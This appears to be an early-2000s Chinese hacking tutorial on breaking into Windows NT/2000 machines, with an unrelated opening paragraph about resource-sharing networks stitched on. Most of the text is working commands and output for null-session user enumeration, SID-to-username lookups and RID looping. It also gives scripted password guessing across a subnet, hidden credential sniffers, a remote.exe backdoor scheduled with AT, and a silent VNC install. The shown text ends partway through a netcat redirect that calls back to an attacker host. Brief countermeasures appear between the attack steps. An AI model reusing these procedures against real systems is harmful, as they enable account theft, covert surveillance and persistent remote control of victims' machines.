网络技术是从1990年代中期发展起来的新技术,它把互联网上分散的资源融为有机整体,实现资源的全面共享和有机协作,使人们能够透明地使用资源的整体能力并按需获取信息。资源包括高性能计算机、存储资源、数据资源、信息资源、知识资源、专家资源、大型数据库、网络、传感器等。 当前的互联网只限于信息共享,网络则被认为是互联网发展的第三阶段。
战术攻防思维撷粹
引子:
网络以独特的“思维模式”蔓延了当今整个人类
文明的精粹。数字经济、数字生活乃至数字生命渐渐扩充
网络方式,无处不在的展示着社会的进阶发展和生命意识的高度集成进化。然而,在这片深度憧憬的虚拟国度里也同样存在集权与垄断的欲望,自由和不羁的反叛,于是在这迷幻世界里也同样存在着荷马史诗般伟大的
英雄传说和正邪争霸的传奇故事。
伟大的战役总离不开智慧的较量,攻防的战术思维杂糅着高科技的
网络时代战场,我们的周围将不在有硝烟,暗藏在电子信号后面的将是兵不血刃的搏斗,胜利者获取的是电子烟雾般的光环,而失败者却得到了更多的经验。每当我获得这些并不为多数人所知的珍贵礼物,会为人类智慧所散发的特殊魅力而拍案叫绝。于是,我有了写出真知的义务,也因此有了这篇战术攻防思维的诞生。我的脑海里回荡着圣经里这样一句:“你应当了解真相,真相会使你自由”。
本篇所讲述入侵/防御方法是一些基础而又有趣的实验,其目的是面向初识黑客世界的好奇者,因此难度适中,既有可操作性。
*NT/W2K,痛并快乐着的世界
似乎微软继续存在着,视窗继续发挥着GUI的美妙,那么NT/W2K入侵的话题就永远没有终点。很多时候,许多人问我入侵这些机械似系统的HOWTO。惯用的端口扫描、空连接、密码猜解各种形形色色的攻击工具似乎满足了这些初级的要求。但围绕如何获取帐号的攻击中更精湛、更有趣味的应该是基于原理下的试探和侵蚀。
对于NT/W2K大部分攻击中,获得用户名常常是个焦点。假如获得用户名后,那么大约70%的精力将花费在密码的破解上,而由于某些系统管理员的懒散行为,密码设置的极度简单(试想密码就是用户名本身的情况),那么我们不费什么力气就拿到开启系统大门的钥匙。 【139/445端口问题】
众所周知,139/445端口的开放使得我们可以查询NetBIOS名字表,这些表中不仅存放
网络共享资源列表,它也藏匿着重要的用户信息。
Razor小组集成了NetBIOS查询特征到一个综合工具:enum。可以从razor.bindview.com/tools/desc/enum_readme.html查询到有关enum的使用说明和下载包。Enum能自动建立空会话,攻击者可以得到可以得到很有用的帐户信息和密码策略设置。
C:\toolkit>enum -U -d -P -L -c 192.168.1.151
server: 192.168.1.151
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
……
names:
netbios: Labmachine
domain: Workshop
……
getting user list (pass 1, index 0)... success, got 9.
Administrator ()
attributes:
cifctm ()
attributes:
downsoft attributes:
ftpuser attributes:
Guest ()
attributes: disabled no_passwd
……
以上结果,显示了系统的某些危险漏洞,诸如密码无过期设置,无最短密码设置等,而且也罗列了系统的用户名录。除了枚举用户名外,enum提供远程猜测密码的功能,使用本地字典文件进行一个用户的密码猜:
C:\toolkit>enum -D -u <username> -f <yourdic>
+应对策略
防止用户信息出现NetBIOS名字表,可以通过控制面板停止系统上Alerter和Messenger服务。 作为视窗系统的缔造者- -微软提供NT/W2K资源工具箱(简称为NTRK或者W2RK)容纳了多种强力的管理工具,从Perl脚本语言的实现、各种通用Unix的远程管理工具和
网络管理工具,给我们带来了有益的维护检测手段。与此同时,这样的工具具有着双面性,黑帽们(Blackhat)利用这些工具,同样可以轻松进行肆意的攻击。
使用NTRK提供的dumpsec、usestat、showgrps、local和global等实用工具,我们可以得到丰富的用户信息。这里必须讲解下dumpsec,因为它可以得到用户及组、NT系统策略和用户权限。以下例子显示了dumpsec获取远程计算机用户信息:
C:\toolkit>dumpsec /computer==\\192.168.1.1 /rpt=usersonly /saveas=tsv /outfile=c:\users.txt
C:\type c:\users.txt
27/2/2003 4:30 PM – Somarsoft DumpSec - \\192.168.1.1
UserName FullName Comment
Hg he gao manager
Lb li bin account
Mjt ma jitao assistant
Papa pu ying saler
……
(注:Somarsoft推出了DumpSec的GUI版本,功能更为强大。)
+应对策略
阻塞空会话,限制注册表RestrictAnonymous键值(NT设REG_DWORD 1,W2K设置为2),使用NTRK/W2RK的实用工具reg.exe修改如下(以NT为例):
C:\toolkit>reg add HKLM\SYSTEM\CurrentControlet\Control\LSA /v RestrictAnonymous /t REG_DWORD /d 1 /f
/v:注册表键值
/t: 数据类型
/d: 注册表键值数据
/f: 当要添加的注册表值存在时进行覆盖 帐户名探测工具中,最为杰出的莫过于Evgenii Rudnyi的sid2user和user2side。它们既可通过用户名查询系统SID,也同从SID查询用户。SID即安全表示符,是创建帐户时生成的唯一标识符。
Windows NT 使用 SID,独立于用户名之外来跟踪帐户。(关于SID的结构论述,可以参阅Mark Russinovich于1999年2月的文http://www.winnetmag.com/Articles/Index.cfm?ArticleID=4795)。使用user2sid 得到其中一域用户SID的话,就可以利用SID号查询相应的用户名。这里,我对一台W2K机器进行了查询实验:
C:\toolkit>user2sid \\192.168.1.2 “testaccount” S-1-5-21-1960408961-789336058-1343024091-509 Number of subauthorities is 5
Domain is LABDOMAIN
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser
实验中,我们看到机器的SID格式表达式为:S-R-X -Y(1)-Y(2)-……-Y(N)。其中S表示该字符串是SID,R是SID的版本号,对于2000来说,这里为1,然后X是标志符的颁发机构 (identifier authority)。对于2000内的帐户,颁发机构就是NT,值是5。然后Y表示一系列的子颁发机构,前面几项是标志域的,最后一个Y(N)标志着域内的帐户和组,我们也称之为相关标识符(RID)。也就是说,帐户的区别在于RID,这里的RID值为509。而Administrator用户的RID总为500,Guest的RID总是501。根据这些知识和已得到的SID,就可以查询出Administrator帐号名(即使管理员帐号名被修改):
C:\toolkit>sid2user \\192.168.1.2 5 21 1960408961 789336058 1343024091 500 Name is sysadmin
Domain is LABDOMAIN
Type of SID is SidTypeUser
从上面实验,我们可以看到系统管理员的帐户名竟然是sysadmin! 为了节省手工输入的困惑,利用这样一个脚本能提高帐户转储的效率:
C:\>for /L %I IN (1000,1,1050) DO sid2user \\192.168.1.2 5 21 1960408961 789336058 1343024091 %I >> users.txt
(注:
NT/W2K域中创建的第一个帐号所赋的RID为1000。
关于for的用法可在CMD模式下输入for /?查询。
50次循环转储RID 1000-1050用户名到users.txt文件。
) +应对策略
只要139端口可访问,sid2user和user2sid就可以搜索出所有合法的用户帐户,这种让人心惊的偷窃方式,迫使我们不得不禁用TCP 139和445端口的访问。 值得一提的是W2K引入了目录服务的概念,于是可以使用LDAP协议通过389端口遍历目录树中所存在的用户和用户组。W2RK工具包中活动目录管理工具ldp.exe可以轻松实现这种功能。下面是ldp运行的一个截图: 通过这种方式,不仅可以浏览全部用户帐户(cn=Users),还可以查询用户更多的信息,比如SID、GUID、帐户名和密码设置类型等重要信息。因此必须对动态目录的访问权限设置限制。 【蚕食密码】
得到合法帐户,下个目标便进入到远程密码猜测的角逐中。这种游戏规则的成功应用通常是建立在系统管理的马虎和疏忽的密码管理机制之中。习惯的密码设置总是不经意的简单思维,下面的两则实验则可以让我们清楚看到自己的密码设置竟然如此脆弱,只需要简单几个循环,堡垒般的系统顷刻崩溃。
我们参照黑客界高频组合的用户/密码对。创建一个wordlist
[file:wordlist.txt]
password username
password Administrator
admin Administrator
administrator Administrator
secret Administrator
……
使用for循环进行口令Administrator口令猜解:
C:\toolkit>for /F "tokens=1,2*" %i in (wordlist.txt) do net use \\target\IPC$%i /u:%j
此脚本会分析wordlist.txt中的每一行,通过tokens=1,2*将每行中的第一个符号%i(密码)和第二个符号%j(用户名)传递给 for 程序体;程序把变量带入net use命令中。通过高频组合文件(www.securityparadigm.com/defaultpw.htm),可以意外的发现,
网络中居然有大量系统的管理密码居然如此马虎了事。因此,短短几分钟内,目标已经成为囊中之物。
当然,更为高级的密码猜测,需要借助有威慑力的黑客字典文件,可以http://www.defcon.tv/Crackers/wordlists/去下载适当的密码列表文件,来实现稍微高级一些的密码远程猜测。这里采用NetBIOS Auditing Tool(NAT,NetBIOS审核工具)进行
密码破解。NAT连接目标系统后,根据预定义的用户清单和密码清单尝试密码猜解:
C:\toolkit>for /L %i IN (1,1,254) DO nat -u userlist.txt -p passlist.txt 192.168.1.%i >> output.txt
对一个C类子网进行迭代扫描,将结果存放在output.txt文本文件中。以上两个简单的winshell完美的实现了远程密码猜解的任务,而比起华丽而界面复杂的GUI密码猜解程序,它们小巧而可爱,以致深受Blackhat欢迎。 对于简单方式的密码猜解,我们只需要对系统进行正确配置就可抑制。以下介绍几种经典方法:
1、启用Passfilt。它附带与NT的SP2中,而W2K则是缺省安装。它要求系统系统密码长度至少六位,不可以含有用户名和姓名的任何部分,并且至少含有大小写字母、阿拉伯数字以及非字母数字(诸如:@、#、&等)中至少三种混合类型。W2K中,使用secpol.msc命令,编辑“安全设置”*“帐户策略”*“密码策略”*“密码必须符合复杂性要求”。
2、Passprop的增值。这个工具是NTRK提供的工具,它不仅能启用密码复杂设置属性,而且还能锁闭Administrator帐号。这样可以防止Administrator的SID的无限猜解。使用方式如下:
C:\toolkit>passprop /complex /adminlockout #同时设置密码复杂性和锁闭管理帐号
C:\toolkit>passprop /noadminlockout #解锁管理帐号
3、户管理器中使用策略*审核记录失败的登录尝试。监测事件号为529/539(登录失败和帐户锁闭)的安全日志容量,如果出现的频率交多,可以确定系统承受着自动攻击。也可使用Somarsoft的免费工具Dumpel抽取系统失败的登录事件:
C:\toolkit>dumpel –e 529 –f faillog.txt –l security –m Security –t
并设置此脚本为计划任务,定期检测。 例外,值得一提的是,著名的L0pht黑客小组提出了另种新颖的攻击方式:在用户登录服务器时对会话进行嗅探,从而得到密码。其强大有利的L0ptcrack(习惯简称为LC)可以捕获SMB包的信息,刨出加密过的密码信息,在反向破解这些加密密码。
对于使用挑战回应的身份认证,LC也显示了其天才工具的能力。认证时,客户端接受服务器发送的随机挑战字串,之后使用客户自身的密码散列进行加密,反馈服务器;服务器用其所拥有的用户散列对随即挑战本地加密,比较两者值是否相同来确认用户是否授权。LC通过分组捕获用户散列加密挑战字串。把这些已知的挑战和随机字串进行加密,从而逆向推解用户自身的密码散列。
对于交换式
网络,L0pht居然使用含有文件://yourserver/message.html的电子邮件来获得收信的密码散列。当点击这个链接,用户散列就被LC所捕获。
当然,这群自负家伙居然制造了嗅探VPN连接的工具,正是令人惊悸。有关LC工具最新动态和密码经典破解原理的文章都可以www.l0pht.com上查询。
【权利制度下扩充】
**秘密嗅探
获得系统控制权利后,奴役其作为情报搜集的间谍是个不错的想法。这可以为我们入侵
网络而准备充足的情报信息。于是sniffer理所应当的成为了情报员的角色。由于这些搜集工作必须是默默无声的,因此在远程机器安装绚丽多彩和结构庞大的sniffer程序是无法容忍的。而以下的两款工具给我们带来无比优秀的命令行方式的嗅探程序。
BUTTsniffer是用BO2000的作者DilDog编写的,其组件是用BUTTsniffer.exe以及BUTTsniffer.dll组成,两者可以重命名。由于是动态装载,只需要上载到目标系统,通过命令开关选项就可执行嗅探任务,因而深的Blackhat们的喜爱。下面是使用实例:
C:\toolbox>buttsniff -d D:\result.txt p
WinNT: Version 4.0 Build 1381
Service Pack: Service Pack 6
Press Ctrl-C to stop logging... Close requested C:\toolbox>type D:\result.txt
. . .
Source IP: 192.168.7.36 Target IP: 192.168.7.200
TCP Lenght: 13 Source Port: 3530 Target Port 21 Seq: 001A145E Ack: 6D968BEC
Flags: PA Window: 8676 TCP ChkSum: 41325 UrgPtr: 0
00000000: 55 53 45 52 20 67 65 6F 72 67 65 0D 0A USER ernie..
. . .
Source IP: 192.168.7.36 Target IP: 192.168.7.200
TCP Lenght: 17 Source Port: 3530 Target Port 21 Seq: 001A146B Ack: 6D968C0F
Flags: PA Window: 8676 TCP ChkSum: 41325 UrgPtr: 0
00000000: 50 41 53 53 20 67 65 6F 72 67 65 30 30 31 3F 0D PASS bert.
00000010: 0A .
这里,我们捕获了从IP地址为为192.168.7.36到192.168.7.200的FTP认证会话,并得到密码为bert。
(注:BUTTsniffer使用时间过长会导致目标系统崩溃,请慎用之。)
而另一款fsniff则可以从Foundstone公司站点下载,其类似于BUTTsniffer,可以动态装载捕获驱动程序,并且还可以从分组中过滤认证信息,使用也非常方便,有兴趣的
读者可以下载回来进行测试,这里就不赘述。其他大多数强大的嗅探程序则需要基于WinPcap的嗅探驱动程序,或者诸如专业的snifferpro自带嗅探驱动功能,虽然功能齐全,但容易被发现,于是具有动态装载的
嗅探器就成为了Blackhat最喜爱种植的种子。
通过这种寂静的方式,入侵者们完全可以悠然的喝着咖啡,等待着收获时节的到来。针对这种情况,可以采用SSH、SSL、PGP等加密通信,但需要小心,因为技术的进步,让这些加密通道里也暗藏了盗窃的可能! **远程作业
得到了帐户、种植了Sniffer,但是固执的Blackhat并不因此而禁止他们的控制欲望。后门的威胁也就随之而来。这里我所安装的仅仅是一个简单的远程命令行工具remote.exe,它可以使用/C参数来启动客户模式,而使用/S来启动服务器模式,因此在远程机器使用AT指令设置了启动时间。假如服务器没有启动调度服务,那么使用sc.exe使其启动,剩下的工作就让调度为我们工作,步骤简叙如下:
1.拷贝remote.exe和sc.exe到目标机器,方法很多,诸如使用net use等方法(记住,此时你应该具有权限帐号)。
2.启动调度服务
C:\toolbox>sc \\target_machine start schedule
3.检查目标系统的时间,方便对时
C:\toolbox>net time \\target_machine
Current time at \\target_machine is {date} {time} {PM/AM}
……
4.使用AT指令在目标上启动remote.exe服务
C:\toolbox>at \\target_machine {time} ““remote /s cmd passwd””
Added a new job with job ID=13
5.测试服务
C:\toolbox>remote /c {target_ip_addr} passwd
**************************************
********** remote ****************
********** Client ****************
**************************************
Connected.. Microsft(R)
Windows NT(TM)
(C) Copyright 1985-1998 Micrsoft Corp. C:\>dir winnt\system32\config\sam
驱动器 C 中的卷没有标签。
卷的序列号是 3DCC-5BF7 C:\winnt\system32\config 的目录 2003-02-24 22:41 9,865 sam
1 个文件 9,865 字节
0 个目录 2,509,623,296 可用字节
C:>@q #退出远程系统
费力,敲入那么多命令,相信懒惰的攻击天才们决少数也这么固执的,于是建立于懒惰思维的图形控制想法也就变的不足为奇了。 **winvnc的劫持
虽然
网络里诸如pcanywhere、netbus等有名的图形控制工具相当具有杀伤力,不过我这里要特别介绍VNC这个容易安装,且具有免费和自由气质的控制工具。但是,安装这个小巧精致的装置,仍然需要稍微复杂些的特技。
首先,需要拷贝VNC服务器到目标机器(这里为:winvnc.exe,vnchooks.dll,othread2.dll三个文件),但是我们必须通过设置VNC服务器才能使其正常运行,一般是通过GUI的方式进行配置,但是我们在远程启动VNC启动,必然在目标机器上弹出一个GUI对话框(没有哪个Blackhat会愿意看到如此结果吧!)。好的,我们可以这样设想:其目标机器的设置文件把最终的配置写入注册表中,那么只要我们的机器与目标机器是同一
操作系统的化,本地的注册表键值VNC结构一定与目标机器相差无几。
根据这个聪明的想法,于是我们有了新的思路:在本地安装并配置VNC服务器,并使用NTRK赐予我们的精良武器regdmp.exe转储本地VNC注册表键值并使用regini.exe把所需要的项目直接添加到远程注册表中,这样就能够启动服务器,以下是步骤简概:
C:\ >regdmp HKCU\Software\orl\winvnc3 >vnc.ini
#导出注册表VNC服务器设置键值
C:\>regini –m {target_machine} vnc.ini
#把注册表键值添加入远程机器注册表 #登录远程机器,安装并启动VNC服务
C:\>winvnc –install
C:\>net start winvnc 通过vncviewer客户端就可以静静的以图形界面方式观察远程机器的任何动作,这类幽雅的管理方法很受管理管理员的称赞,同时也受到Blackhat的青睐。不过,VNC的进程却是无法隐藏的,因此只需要小心系统内部进程就可以发现其藏匿的踪影。 **
防火墙下的暗道
前面所探讨的控制权利似乎都基于了
网络管理不设防行为而布置的策略,然而,现实世界的
网络中必然不能缺少防火墙之类的堡垒的。于是前面的思维模式似乎变的到处碰壁,无计可施。
总所周知,防火墙总是放行一些“行为端正”的数据通过自身,源于这个要点,我们实现了架设防火墙下暗道的思路:在防火墙内部尽力得到一部受“污染”的机器,在其上安装端口重定向软件并监听端口,将监听获得的原始分组转发到特定的第二目标。为了便于理解,下面我们就以著名的nc.exe做个端口重定向的小实验:
首先,在攻击者机器<intrude.org>分别使用两个命令行终端,记住是不同的两个终端窗口。其中一个窗口监听80端口,另一个端口监测25端口。
C:\toolbox>nc –nvv –l –p 80
C:\toolbox>nc –nvv –l –p 25
其次,在防火墙内部的机器使用shell回铲的办法(这里假设受污染机器<dirty.net>上已经有nc.exe并且安装远程执行命令服务):
C:\toolbox>nc intrude.com 80
关键词:战术攻防思维撷粹